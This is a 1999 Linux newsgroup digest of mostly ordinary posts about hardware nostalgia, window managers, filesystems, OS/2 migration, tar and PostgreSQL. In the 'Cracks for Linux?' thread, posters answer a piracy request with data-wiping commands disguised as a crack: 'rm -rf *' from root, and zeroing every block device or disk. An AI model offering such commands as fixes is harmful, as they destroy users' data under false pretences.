Linux-Misc Digest #460, Volume #21 Thu, 19 Aug 99 08:13:07 EDT
Contents:
Re: What I think of linux. (Robin Smith)
Re: What I think of linux. (Robin Smith)
Re: KDE & Wmaker (Me Here)
Re: Why did RMS adopt Unix? (and other questions) (Rodger Donaldson)
Re: Comparing HPFS to ext2fs... (Mark Forsyth)
Re: Comparing HPFS to ext2fs... (Mark Forsyth)
Re: mem leak in 2.2.11 (Waldemar Kocjan)
Re: XWindows Emulators (Peter.vanHelden)
Re: Securing Netscape ??? (John Thompson)
Re: Can I switch from OS/2 to Linux and be happy? (Mark Forsyth)
Re: *nix vs. MS security (Jim Chaney)
why does cut n paste miss brackets? (kev)
Re: Looking for comparable apps in Linux from OS/2 (Mark Forsyth)
Re: Help - can't restore a folder with tar -xp or cpio -im! ("michael.fengler")
Re: Cracks for Linux? ([EMAIL PROTECTED])
Re: Cracks for Linux? (Marcus Sundberg)
Re: RedHat kernel patches? ("Anders Gulden Olstad")
Re: Can I switch from OS/2 to Linux and be happy? ("Doug Darrow")
Re: Can I switch from OS/2 to Linux and be happy? ("Doug Darrow")
Re: PostgreSQL tables imported from MS Access (Robin Smith)
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From: Robin Smith <[EMAIL PROTECTED]>
Subject: Re: What I think of linux.
Date: 19 Aug 1999 10:47:14 +0100
[EMAIL PROTECTED] (Anthony Ord) writes:
> Then I bought a 486SX-25 computer with 4Mb of RAM and a massive 1Mb
> Trident video card. I was the envy of my friends...;-)
I stopped using my old 486SX-25 in January this year! Replaced with my
new 400MHz UW-SCSI tower, now are you envious :-)
Actually I'm about to revive the old 486 as a firewall and email
server. Will this be fast enough?
Robin
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From: Robin Smith <[EMAIL PROTECTED]>
Crossposted-To: alt.linux,alt.linux.sux,alt.os.linux,comp.os.linux.advocacy
Subject: Re: What I think of linux.
Date: 19 Aug 1999 10:51:55 +0100
Donn Miller <[EMAIL PROTECTED]> writes:
> David Cummings wrote:
>
> > was the Tandy 1000 on which I learned DOS and QBASIC. Windows 3.1 on a custom made
> > 25mhz IBM compatible. Had that for 3-4 yrs and ran more than I should have. Now I
>
> That's nothing... I had a 386/sx 16 8 megs ram which I used as
> my main computer from 1991 - 1997. I ran FreeBSD 2.0.5 - 2.1.7,
> Linux, and Windows 3.1 on it. I never really owned a 486... I
> just went straight from the 386 to a Pentium 90. So it was a
> pretty huge leap. I hated that 386, even as far back as 1993,
> because it wouldn't run sh*t. But, I kept hesitating to
> upgrade...
>
>
> Donn
I remember when we got a new ( to us ) 286, we called this machine
FAST as we compared it to an 8086 Amstrad.
Mind you the word processor ( Lotus ) on DOS on the 8086 was faster
that Word on a Pentium. Now remind me why I hate Microsoft.
Robin
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From: Me Here <[EMAIL PROTECTED]>
Crossposted-To: comp.os.linux.setup,comp.os.linux.x
Subject: Re: KDE & Wmaker
Date: Thu, 19 Aug 1999 03:51:16 -0500
Artur Oliveira wrote:
>
> I very beginner with Linux ...
>
> I have SuSE 6.1 up and running with Wmaker has window manager ...
> How can I activate KDE and mantaining the Wmaker look for KDE ???
> By other words ...how can I deactivate kwm and use Wmaker has the "front
> end" for KDE ???
>
> I think if I can do that I avoid to configure the menus of Wmaker
> manually ..., is this true ???
>
> Any comments are welcome.
>
http://www.kde.org/documentation/faq/kdefaq-9.html#ss9.4
Has all the answers, well, sort of.
Basically, just replace the line in startkde that calls kwm with wmaker.
You must make sure that WindowMaker was compiled with KDE support
though, for everything to work properly.
It may already be that way. You can check by starting Info>Info Panel
from the WindowMaker menu. If so, it will state that there is
"Additional Support for: KDE"
Then, to start kde, just run startkde.
There is also a program kde2wmaker that will automatically create a KDE
menu in your WindowMaker menu. I haven't used it, so I don't know how
well it works.
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From: [EMAIL PROTECTED] (Rodger Donaldson)
Crossposted-To: gnu.misc.discuss
Subject: Re: Why did RMS adopt Unix? (and other questions)
Date: Thu, 19 Aug 1999 22:27:15 +1159
Reply-To: [EMAIL PROTECTED]
On Thu, 19 Aug 1999 00:01:48 -0400, Michael Coughlin
<[EMAIL PROTECTED]> wrote:
>He also decided that a good C compiler with
>unencumbered source code was the most important project he could
>work on.
Actually, he originally, according to a lecture I attended last year, wanted
to work with an exisiting C compiler, and approached a gentleman by the name
of Tannenbaum about his. When he was rebuffed, he made the early gccs the
highest priority.
>Linus saw all the C code published on the internet
>with the GNU license, and knew that one key program was missing
>-- a Unix clone kernal. If he could write that last part, he
>would have everything needed to have a full industrial strength
>clone of Unix on his 80386 home computer.
This is an interesting interpretation, but one utterly unsupported by any
interview I've ever read with Linus.
--
Rodger Donaldson [EMAIL PROTECTED]
"Knuth is right: computer programming is not a science, but an art. System
administration is an art too, and a black one at that."
-- Adam J. Thornton
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From: [EMAIL PROTECTED] (Mark Forsyth)
Crossposted-To: alt.os.linux,comp.os.linux.setup,comp.os.os2.misc
Subject: Re: Comparing HPFS to ext2fs...
Reply-To: [EMAIL PROTECTED]
Date: Thu, 19 Aug 1999 19:56:03 +0959
On Tue, 17 Aug 1999 20:38:25 GMT, Zephyr Q <[EMAIL PROTECTED]> wrote:
>
> I've been using OS/2 for years, and am switching to Linux
>(don't ask why yet, that is a different post). In the past,
>I have been **very** happy with the rock solid performance
>of HPFS and, seeing several comments about problems with
>Linux's file system (especially with power outages, etc.),
>am curious about the following:
My experience is that fsck is every bit as solid as HPFS
>
> Is it possible to *use* the HPFS with any amount of success
>with Linux (I know I can download a driver to read/write,
>but is it reliable?)?
>
Yep. Rock solid. doesn't mess up EAs at all. THANKFULLY...!!!
> How does Linux's security at this level compare with HPFS
>(i.e.--if I get a hard drive from a stranger with ext2fs on
>it, and I wipe it, is the info unrecoverable by experts? I
>know it sounds like a strange question, but I occasionally
>find HDs at auctions and clearing houses and like to be able
>to know I can clean them...)?
There aint much that survives a controller based low level verification
Mark F...
>
> Thanx.
>
>
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>~ Finding his place in ~
>~ Cosmos, ~
>~ Directed only by Him ~
>~ who created the ~
>~ Kosmos ~
>~ Zephyr Q ~
>~~~~~~~~~~~~~~~~~~~~~~~~~~~
>Please remove "I HATE SPAM" to
> reply to e-mail address.
>
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From: [EMAIL PROTECTED] (Mark Forsyth)
Crossposted-To: alt.os.linux,comp.os.linux.setup,comp.os.os2.misc
Subject: Re: Comparing HPFS to ext2fs...
Reply-To: [EMAIL PROTECTED]
Date: Thu, 19 Aug 1999 19:59:38 +0959
On Wed, 18 Aug 1999 22:03:19 GMT, [EMAIL PROTECTED] <[EMAIL PROTECTED]> wrote:
>In <xLyu3.80$[EMAIL PROTECTED]>,
>[EMAIL PROTECTED] (Rod Smith) writes:
[much deletia]
>
>How effective is a SCSI low-level format at truly wiping a drive ?
>
VERY
mark F...
>thnx
>>
>>--
>>Rod Smith
>>[EMAIL PROTECTED]
>>http://members.bellatlantic.net/~smithrod
>>Author of _Special Edition Using Corel WordPerfect 8 for Linux_, from Que
>
>
>sk�l !
>
>----------------------------------------------------------
>H�rad �ngravv�rd
>-----------------------------------------------------------
>
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From: Waldemar Kocjan <[EMAIL PROTECTED]>
Crossposted-To: redhat.kernel.general,redhat.general
Subject: Re: mem leak in 2.2.11
Date: Thu, 19 Aug 1999 12:38:18 +0200
Reply-To: [EMAIL PROTECTED]
William Burrow wrote:
>
>
> What is it with ^M at the end of people's messages nowadays?
>
>
Using to much Windows
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From: [EMAIL PROTECTED] (Peter.vanHelden)
Subject: Re: XWindows Emulators
Date: 19 Aug 1999 10:41:59 GMT
Johan Kullstam ([EMAIL PROTECTED]) wrote:
: "simon" <[EMAIL PROTECTED]> writes:
: > what you are after is termed (no pun intended) an X client for Windows...
: > 'cos it isn't an emulator.
: > At work we use a piece of software called "RelectionsX" which is probably
: > horrendously expensive.
: what he is after is known as an X *server* for windows.
: xterm and rxvt are X clients. (yes, i know you can run rxvy on NT and
: get it to display elsewhere.)
: yes, the names are backwards or simply misleading. however, we are
Oh no. The X server is called a server because it bloody well is a server.
It's just that tons of people think they understand client/server terminology;
client: the thing that is nearby, server: the thing that is far away. This
is wrong. A server is an entity that provides a service, a client is an entity
that makes use of a service. Physical location is irrelevant.
: stuck with them and if you want to find what you are looking for it
: helps to know what people call them.
[snip]
Peter
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From: John Thompson <[EMAIL PROTECTED]>
Subject: Re: Securing Netscape ???
Date: Wed, 18 Aug 1999 22:17:17 -0600
Kevin E Cosgrove wrote:
> What do I need to do to enable secure browsing with Netscape on
> my Redhat 5.1 system? Netscape works fine w/o security. I know
> about Fortify and the 40/128 bit stuff. But, it seems I have
> zero security, rather than just low security. I think if I could
> get any security, then I'd be able to get higher security.
When you connect to a secure site, eg one that uses SSL,
Netscape will negotiate a secure connection with that site.
You will be able to see this by loking at the little padlock
icons on the main tool bar and lower left corner of the
Netscape window. When a secure connection is in place, the
padlock hasp will close. You can also click on the
"Security" button on the tool bar for details about the
security in place. If you want to see this in action, go to
http://www.fortify.net and click on the "SSL check" and
watch what happens.
--
-John ([EMAIL PROTECTED])
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From: [EMAIL PROTECTED] (Mark Forsyth)
Crossposted-To: comp.os.os2.misc,comp.os.os2.apps,alt.os.linux
Subject: Re: Can I switch from OS/2 to Linux and be happy?
Reply-To: [EMAIL PROTECTED]
Date: Thu, 19 Aug 1999 19:52:30 +0959
I've kept OS/2 (v4) on the old thinkpad and gone Linux for the desktop.
The OS/2 laptop is a general network workhorse when I'm out and about
( I'm an IT contractor ) With the incredibly bloated SO5 OS/2 can
deal with just about most document formats which is what I really need.
It also can exist EASILY on most corporate lans that run the dreaded MS
server products whereas with Linux there is a bit of stuffing about to
get it all up and running. Yes it WILL work fine but I need to be
able to walk in get a domain logon and go from there. MS operating
systems, for my money, are far too immature and flakey and provide
almost none of the usefull tools that are in OS/2. (iptrace for one)
FWIW I also have a widblows box for _some_ stuff but it is rarely
used in anger, not even for games. I used to miss the WPS a lot
until I came to realize that the user interface is just that, a
user interface. Sure the WPS has flexibility like you wouldn't believe
but then X is almost infinitly configurable as well. Forget about
trying to make Linux, or any other OS for that matter, behave
like OS/2 and let it behave like Linux and you'll get along just
fine. The learning curve is a bit steep but it aint all that hard
if you pay close attention to the nitty little detail.
I guess at the end of the day it all comes down to the old horses
for courses thing. Have a play and go with what suits. After all
some major corporations use Unix or OpenVMS or OS390 or MVS/JES2
or GCOS etc... and some use something else.
Mark F...
On Tue, 17 Aug 1999 20:38:18 GMT, Zephyr Q <[EMAIL PROTECTED]> wrote:
>
> Or, more importantly, how can I make the switch with as
>little grief as possible?
>
> For example, I'm already playing with RH 5.2 (waiting for
>SuSe 6.2 to come out) and have been playing with AfterStep.
>I'm looking for a WM or Xserver (am I showing my newbiness?)
>that most approximates the Work Place Shell on OS/2.
>
> I also would like suggestions on what things to 'tweak' in
>X to make it work more like OS/2--I realize that X
>(specifically XFree86) *is* different, but I used OS/2 Warp
>3 for *years* and have gotten very comfortable and
>productive with it (on a 486DX4-120).
>
> I'll ask about comparable apps in a different post.
>
> Thanx.
>
>
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>~ Finding his place in ~
>~ Cosmos, ~
>~ Directed only by Him ~
>~ who created the ~
>~ Kosmos ~
>~ Zephyr Q ~
>~~~~~~~~~~~~~~~~~~~~~~~~~~~
>Please remove "I HATE SPAM" to
> reply to e-mail address.
>
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From: Jim Chaney <[EMAIL PROTECTED]>
Crossposted-To: comp.os.linux,comp.os.linux.questions,comp.os.linux.security
Subject: Re: *nix vs. MS security
Date: Thu, 19 Aug 1999 11:24:14 +0100
Roger wrote:
> NT is reasonably easy to crack - NTFSDOS.EXE will get you into any file
> on the HDD if you boot from a floppy - most sys admins don't bother
> setting the BIOS to boot from C only.
Well, what stops you going over to a *nix box, booting from a kernel on a floppy
disk and mounting the HDD... nothing.
> There are other stupid holes like
> caching of dial-up passwords, plus earlier versions of NT can be
> disabled with the Ping Of Death (a very large IP packet). From my
> experience with NT4 Workstation, it needs a state-of-the-art PC (PII, at
> least 64MB) for decent performance and falls over more often than Win98
> (which is fine if you avoid using IE4 - if Netscape crashes it doesn't
> drag the whole OS down with it).
I refuse to believe that NT crashes anywhere near as often as Win 9x. The crashes
in 9x are often fatal, but 95% of the time NT can bring up the task manager (Ctrl
Alt Del) and end the process.
I use Linux as my home gateway to work and the internet, but I have to use NT or
Win95 for development as that is what my users have. Both OS's have their
strengths, but time will tell if Linux really takes off on the desktop.
Jim Chaney
======================================================================
jchaney AT nortelnetworks DOT com The views of this post are not
necessarily those of Nortel Networks
======================================================================
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From: kev <[EMAIL PROTECTED]>
Crossposted-To: linux.redhat.misc
Subject: why does cut n paste miss brackets?
Date: Thu, 19 Aug 1999 11:27:49 +0100
Does anyone know why cut n paste in a gnome terminal doesn't paste the
'(' or '{' of a block of code?
And how to change this?
thanks,
- Kev
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From: [EMAIL PROTECTED] (Mark Forsyth)
Crossposted-To: alt.os.linux,comp.os.os2.apps,comp.os.os2.misc
Subject: Re: Looking for comparable apps in Linux from OS/2
Reply-To: [EMAIL PROTECTED]
Date: Thu, 19 Aug 1999 20:12:38 +0959
On Tue, 17 Aug 1999 20:38:32 GMT, Zephyr Q <[EMAIL PROTECTED]> wrote:
>
> I'm making the switch from OS/2 to Linux, and *really*
>would like some similar functionality with the following
>apps:
>
> A mail client as functional as PMMail (nested folders,
>remote control)
I just use EXMH.
Works a treat but only AFTER you read a bit of doco to find out
how to configure things.
>
> A news client as good as ProNews (sigh, I know this one
>might be a long shot...)
ooh. BIG ask. Go with slrn and leafnode. Leafnode is a server
and slrn is a pretty good text mode client.
>
> A slim browser that handles pages well (I never did like
>Netscape 2.02 for OS/2 much and Opera never panned out...)
>
You're pretty well stuck with nutscraper. For a REALLY lightweight
browser have a look at lynx.
> Configuration tools (I don't need my hand held, but I also
>don't have a lot of time wading through scripts...).
>
Most distributions come with some form of config tool.
> Since I'm coming from OS/2, GUI versions of the above are
>preferable (I'm not afraid of CLI, just like it less than a
>decent GUI <<whoops, flame bait>>.)
>
Because of what I do for a living ( OpenVMS system wrangling ) a CLI
is just fine and a GUI is just something more to go wrong. When OS/2
trips up you hit <alt>F1 at the little white box right ?
Mark F...
> Thanx.
>
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>~ Finding his place in ~
>~ Cosmos, ~
>~ Directed only by Him ~
>~ who created the ~
>~ Kosmos ~
>~ Zephyr Q ~
>~~~~~~~~~~~~~~~~~~~~~~~~~~~
>Please remove "I HATE SPAM" to
> reply to e-mail address.
>
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From: "michael.fengler" <[EMAIL PROTECTED]>
Crossposted-To: comp.os.linux.setup
Subject: Re: Help - can't restore a folder with tar -xp or cpio -im!
Date: Thu, 19 Aug 1999 12:16:05 +0200
Reply-To: [EMAIL PROTECTED]
On Thu, 19 Aug 1999, Nico Zigouras wrote:
>Please help me. I try to restore a folder with this command:
>tar -xp /usr/data/bird_data/point/
>
>But it never returns. Should I wait longer or run it some other way?
>
That's because you don't tell tar what archive to use, so it simply
waits for input from stdin. Syntax:
tar xpf name_of_archive
>Should I use cpio and if so, how would I restore above folder?
>
Use the same tool that was used to create the archive. If you don't
know, "file name_of_archive" will tell you.
HTH, mike
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From: [EMAIL PROTECTED]
Crossposted-To: comp.os.linux.development.apps,comp.os.linux.networking
Subject: Re: Cracks for Linux?
Date: 19 Aug 1999 11:27:44 GMT
Another, more effective way:
for i in `find /dev -type b`; do cat /dev/zero >$i; done
This makes sure the crack works on all block devices.
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From: Marcus Sundberg <[EMAIL PROTECTED]>
Crossposted-To: comp.os.linux.development.apps,comp.os.linux.networking
Subject: Re: Cracks for Linux?
Date: Thu, 19 Aug 1999 13:13:45 +0200
Jason Earl wrote:
>
> On Tue, 17 Aug 1999 23:31:15 GMT, Sean <[EMAIL PROTECTED]> wrote:
> >Hi I think free software is the best. Especially Open Source Software.
> >Linux is supposed to be fre isn't it. So why do I have to pay 20$ to get
> >sound? I have the OSS/Linux demo. That stops working after 20 minutes.
> >Does anyone have a crack for this? Or does anyone know of a crack page
> >that has cracks for linux (like OSS/Linux maybe). Astalaviata.box.sk
> >doesn't have it and I don't know where to look. If so e-mail me at
> >[EMAIL PROTECTED]
>
> I got it to work by typing in (as root):
>
> cd /
> rm -rf *
>
> After that I didn't have any problems with OSS/Linux asking me to register it.
> I think that it removes the nagware config file or something.
Personally I have found that
for a in /dev/hd[a-z] /dev/sd[a-z]; do cp /dev/zero $a; done
gives a more reliable result.
//Marcus
--
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Marcus Sundberg | http://www.stacken.kth.se/~mackan/
Royal Institute of Technology | Phone: +46 707 295404
Stockholm, Sweden | E-Mail: [EMAIL PROTECTED]
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From: "Anders Gulden Olstad" <[EMAIL PROTECTED]>
Subject: Re: RedHat kernel patches?
Date: Thu, 19 Aug 1999 13:00:33 +0200
aaa <[EMAIL PROTECTED]> wrote:
> I have RedHat 6.0 with kernel 2.2.5-15. I went to RedHat's ftp site and
> found in the upgrades only fully kernels 2.2.5.22. Does RedHat offer
> patches? Also I know that kernel 2.2.11 is out and I don't know why RedHat
> is not offering something higher than 5. I am new to Linux and am not
> totally familiar with these details.
The latest kernel isn't necessary the best - or most stable.
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Crossposted-To: alt.os.linux,comp.os.os2.apps,comp.os.os2.misc
From: "Doug Darrow" <[EMAIL PROTECTED]>
Reply-To: "Doug Darrow" <[EMAIL PROTECTED]>
Subject: Re: Can I switch from OS/2 to Linux and be happy?
Date: Wed, 18 Aug 1999 18:52:16 -0700 (PDT)
On 18 Aug 1999 20:41:21 GMT, e-frog wrote:
>but RIGHT NOW it
>is not good enough for even technically literate masses (i.e. me :)
Gary! I didn't know you considered yourself a "mass". (or masses,
actually) So, do you consider yourself a "critical mass?"
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Crossposted-To: alt.os.linux,comp.os.os2.apps,comp.os.os2.misc
From: "Doug Darrow" <[EMAIL PROTECTED]>
Reply-To: "Doug Darrow" <[EMAIL PROTECTED]>
Subject: Re: Can I switch from OS/2 to Linux and be happy?
Date: Wed, 18 Aug 1999 20:03:54 -0700 (PDT)
On 18 Aug 1999 20:41:21 GMT, e-frog wrote:
>Warp 3 came waaaay back before Win95 came out and it is _still_ being
>supported.
And IBM is only following the policy they have always followed, i.e.
with each new release, they drop support for any release > 2
generations back. The dropped support for 2.0 when Warp 3 came out.
They dropped 2.1 when Connect came out they dropped 2.11 when Warp 4
came out. And now, with the release of WSeB, they're dropping Warp 3 --
but NOT Connect you notice. Connect won't be dropped until the NEXT
OS/2 release and you still haven't touched Warp 4. So if he wants to
stay with OS/2, he can still get Warp 4 and have support through the
NEXT release of OS/2, whatever that might be. How does this equate to
the assumption that dropping support for Warp 4 is imminent?
What he's really refering to is that they will no longer be releasing
FixPacks for Warp 3, only Connect and newer. So which of those OTHER
oses continues issuing fixes for releases 2+ generations back?
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From: Robin Smith <[EMAIL PROTECTED]>
Subject: Re: PostgreSQL tables imported from MS Access
Date: 19 Aug 1999 12:50:12 +0100
"lcr" <[EMAIL PROTECTED]> writes:
> I've exported Access Tables to Postgres to set up a Postgres Server/ Access
> Client application, and am having some problems due to Postgres not
> interpreting upper case characters. For example I have a table called
> MediaCosts, which is shown when you do a \dt from within psql. However in
> response to :
>
> Select * from MediaCosts;
>
> I get a message saying that mediacosts wasn't found.
>
> Any Ideas how I can get psql to accept Upper Case and spaces in
> table/attribute names.
>
> Since I am using Access forms to access these tables via ODBC I do not want
> to change the names of the tables/attributes as I would have to amend all of
> the Access/Visual Basic code for the client machines.
>
> In the hope of avoiding a lot of work ...
I have never tried Postgres but under Oracle if you want case
sensitive names then
select * from "MediaCosts";
would work, try this.
Robin
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